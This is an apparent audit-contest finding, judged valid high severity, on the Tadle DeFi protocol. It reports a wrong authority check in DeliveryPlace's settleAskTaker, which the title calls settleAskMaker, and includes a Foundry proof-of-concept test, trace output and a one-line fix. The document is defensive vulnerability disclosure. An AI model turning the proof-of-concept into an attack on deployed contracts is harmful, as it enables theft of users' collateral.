Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Authorization Check in settleAskMaker Function

Summary

A critical flaw has been identified in the settleAskMaker function of the DeliveryPlace contract within the Tadle protocol. The function incorrectly verifies the authority using offerInfo.authority instead of stockInfo.authority. This mistake allows unauthorized bid offers to claim the collateral of ask takers, leaving ask takers unable to retrieve their rightful funds.

Vulnerability Details

The settleAskMaker function is designed to settle ask offers within the marketplace. However, it uses offerInfo.authority to verify the caller's authority. The correct authority check should reference stockInfo.authority, which pertains specifically to the ask taker. Due to this error, bid offers can incorrectly settle ask offers and claim their collateral.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L360-L363

Impact

This vulnerability has a severe financial impact, allowing unauthorized entities (bid offers) to claim the collateral of ask takers. This could lead to significant loss of funds for ask takers and undermine the integrity of the marketplace, potentially resulting in loss of trust and participation in the platform.

Proof of Concept

This is the test code of the vulnerability.

function test_create_bid_offer_turbo_usdc() public {
console2.log("user address:", address(user));
console2.log("user2 address:", address(user2));
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
vm.expectRevert(
abi.encodeWithSelector(Unauthorized.selector)
);
deliveryPlace.settleAskTaker(stock1Addr, 500);
vm.stopPrank();
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskTaker(stock1Addr, 500);
deliveryPlace.closeBidOffer(offerAddr);
vm.stopPrank();
}

The result is like this.

user address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
user2 address: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
├─ [28864] UpgradeableProxy::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500)
│ ├─ [23845] DeliveryPlace::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500) [delegatecall]
│ │ ├─ [534] TadleFactory::relatedContracts(2) [staticcall]
│ │ │ └─ ← [Return] UpgradeableProxy: [0x8d2C17FAd02B7bb64139109c6533b7C2b9CADb81]
│ │ ├─ [3293] UpgradeableProxy::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [staticcall]
│ │ │ ├─ [2736] PreMarktes::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [delegatecall]
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
│ │ │ └─ ← [Return] MarketPlaceInfo({ fixedratio: false, status: 1, tokenAddress: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, tokenPerPoint: 10000000000000000 [1e16], tge: 1719826274 [1.719e9], settlementPeriod: 3600 })
│ │ └─ ← [Revert] Unauthorized()
│ └─ ← [Revert] Unauthorized()
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
├─ [180189] UpgradeableProxy::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500)
│ ├─ [175174] DeliveryPlace::settleAskTaker(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8, 500) [delegatecall]
│ │ ├─ [534] TadleFactory::relatedContracts(2) [staticcall]
│ │ │ └─ ← [Return] UpgradeableProxy: [0x8d2C17FAd02B7bb64139109c6533b7C2b9CADb81]
│ │ ├─ [3293] UpgradeableProxy::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [staticcall]
│ │ │ ├─ [2736] PreMarktes::getStockInfo(0x7AFBC26d177182f1C9b99c324a78c99aF4545ba8) [delegatecall]
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
│ │ │ │ │ └─ ← [Return] UpgradeableProxy: [0x3C8Ca53ee5661D29d3d3C0732689a4b86947EAF0]
│ │ │ │ ├─ emit AddTokenBalance(accountAddress: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, tokenAddress: MockERC20Token: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], tokenBalanceType: 3, amount: 6000000000000000 [6e15])
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return]

As you can see, settleAskTaker function call of user2 reverted with Unauthorized error.
And user gets the collateral of user2 with buying itself by calling settleAskTaker function.

Tools Used

Manual code review

Recommendations

Correct the code like this.

if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != stockInfo.authority) {
revert Errors.Unauthorized();
}
} else {
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-settleAskTaker-wrong-stock-authority

Valid high severity, when taker offers are created pointing to a `offer`, the relevant `stockInfoMap` offers are created with the owner of the offer aka `authority`, set as the creater of the offer, as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L245). Because of the wrong check within settleAskTaker, it will permanently DoS the final settlement functionality for taker offers for the maker that listed the original offer, essentially bricking the whole functionality of the market i.e. maker will always get refunded the original collateral, and takers will never be able to transact the original points put up by the maker. This occurs regardless of market mode.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.